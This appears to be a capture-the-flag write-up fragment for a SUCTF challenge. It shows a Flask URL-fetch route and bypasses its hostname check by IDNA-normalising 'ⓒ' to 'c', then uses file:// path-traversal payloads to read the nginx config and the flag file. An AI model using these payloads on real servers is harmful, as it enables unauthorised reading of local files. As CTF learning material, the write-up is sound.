Copy @app . route ( '/getUrl' , methods = [ 'GET' , 'POST' ])
def getUrl ():
url = request . args . get ( "url" ) # 设 url=https://xxx.com/index.php
host = parse . urlparse (url). hostname # xxx.com
if host == 'suctf.cc' :
return "我扌 your problem? 111"
parts = list ( urlsplit (url)) # ['https', 'xxx.com', '/index.php', '', '']
host = parts [ 1 ] # xxx.com
if host == 'suctf.cc' :
return "我扌 your problem? 222 " + host
newhost = []
for h in host . split ( '.' ):
newhost . append (h. encode ( 'idna' ). decode ( 'utf-8' ))
parts [ 1 ] = '.' . join (newhost)
#去掉 url 中的空格
finalUrl = urlunsplit (parts). split ( ' ' ) [ 0 ]
host = parse . urlparse (finalUrl). hostname
if host == 'suctf.cc' :
return urllib . request . urlopen (finalUrl). read ()
else :
return "我扌 your problem? 333"
</ code >
# <!-- Dont worry about the suctf.cc. Go on! -->
# <!-- Do you know the nginx? -->
Copy print ( 'ⓒ' . encode ( 'idna' ). decode ( 'utf-8' ))
# c
Copy # url=file://suctf.cⓒ/../../../../../../../../usr/local/nginx/conf/nginx.conf
server {
listen 80 ;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}
Copy url=file://suctf.cⓒ/../../../../../../../../usr/fffffflag